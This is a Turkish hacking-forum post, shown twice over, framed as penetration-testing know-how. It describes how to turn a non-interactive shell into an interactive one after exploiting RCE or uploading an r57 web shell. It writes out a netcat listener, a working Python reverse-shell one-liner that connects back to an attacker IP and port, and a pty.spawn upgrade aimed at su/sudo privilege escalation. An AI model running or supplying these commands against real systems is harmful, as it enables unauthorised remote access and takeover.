Python PTY ile Etkileşimli Shell (1 Viewer)

C

Crysuder

Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır.

Şimdi bu senaryoyu gerçekleştirelim.

r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum.
Kendimize reverse shell alabilmek için 4545 portunu dinlemeye alıyoruz.

nc -lvp 4545


nc-lvp-4545.png


Reverse chaeat shell de verilen komutlardan birini web shell üzerinde çalıştırıp Netcat ile dinlediğimiz porta shell veriyoruz.

Ben Python kullanacağım, kodu kendime göre düzenliyorum

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.36",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bu kodu hedef sistem üzerinde çalıştırıyoruz.

non-interactive.png


Netcat üzerinden shell geliyor ancak bu non-interactive bir shell olduğundan her zaman bir pentester için yeterli olmayacaktır.

Non-interactive Shell

kısaca tanımlamak gerekirse kullanıcıdan veri girişi alamayan, sadece çıktı verebilen komutların çalıştırılabileceği bir shelldir.

non-shell-example.png


Yukarıda ki ekran görüntüsünde çıktı veren komutların çalıştığını görebiliyorsunuz ancak bir sisteme giren hacker/pentester ın ilk amacı yetki yükseltmek olacaktır ve bunun için ise ilk denenecek şey su / sudo komutları olacaktır ki bu komutlar parola için kullanıcıdan veri girmesini bekler. Bu durumda non-interactive bir shell üzerinde kala kalırız. GCC gibi derleyicileri çalıştırmak içinde yetersiz kalır ve çalıştırılmak istenilen bir exploit derlenemez.

non-interactive bir shelli interactive bir shelle çevirmenin yolu ise Python’dan geçer. Python PTY shelle geçmek için kullanılması gereken python kodu;

python -c 'import pty; pty.spawn("/bin/sh")'

python-pty.png


Artık interactive bir shell üzerinde komut çalıştırabiliyoruz…

root.png
 
Last edited by a moderator:
Joined
Dec 8, 2020
Credits
1,893
Rating - 0%
Bir sızma testinde hedef üzerinde RCE yada File Upload zafiyetleri tespit etmiş ve bu zafiyet üzerinden kendinize reverse/bind shell almış olabilirsiniz ancak her zaman bu yeterli olmayacak, aldığınız shell non-interactive bir shell olacaktır.

Şimdi bu senaryoyu gerçekleştirelim.

r57 web shell zararlısını hedef sisteme upload ettiğimizi yada RCE zafiyeti üzerinden komut çalıştırdığımızı var sayarak ilerliyorum.
Kendimize reverse shell alabilmek için 4545 portunu dinlemeye alıyoruz.

nc -lvp 4545


nc-lvp-4545.png


Reverse chaeat shell de verilen komutlardan birini web shell üzerinde çalıştırıp Netcat ile dinlediğimiz porta shell veriyoruz.

Ben Python kullanacağım, kodu kendime göre düzenliyorum

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.36",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bu kodu hedef sistem üzerinde çalıştırıyoruz.

non-interactive.png


Netcat üzerinden shell geliyor ancak bu non-interactive bir shell olduğundan her zaman bir pentester için yeterli olmayacaktır.

Non-interactive Shell

kısaca tanımlamak gerekirse kullanıcıdan veri girişi alamayan, sadece çıktı verebilen komutların çalıştırılabileceği bir shelldir.

non-shell-example.png


Yukarıda ki ekran görüntüsünde çıktı veren komutların çalıştığını görebiliyorsunuz ancak bir sisteme giren hacker/pentester ın ilk amacı yetki yükseltmek olacaktır ve bunun için ise ilk denenecek şey su / sudo komutları olacaktır ki bu komutlar parola için kullanıcıdan veri girmesini bekler. Bu durumda non-interactive bir shell üzerinde kala kalırız. GCC gibi derleyicileri çalıştırmak içinde yetersiz kalır ve çalıştırılmak istenilen bir exploit derlenemez.

non-interactive bir shelli interactive bir shelle çevirmenin yolu ise Python’dan geçer. Python PTY shelle geçmek için kullanılması gereken python kodu;

python -c 'import pty; pty.spawn("/bin/sh")'

python-pty.png


Artık interactive bir shell üzerinde komut çalıştırabiliyoruz…

root.png
 

Users who are viewing this thread

Top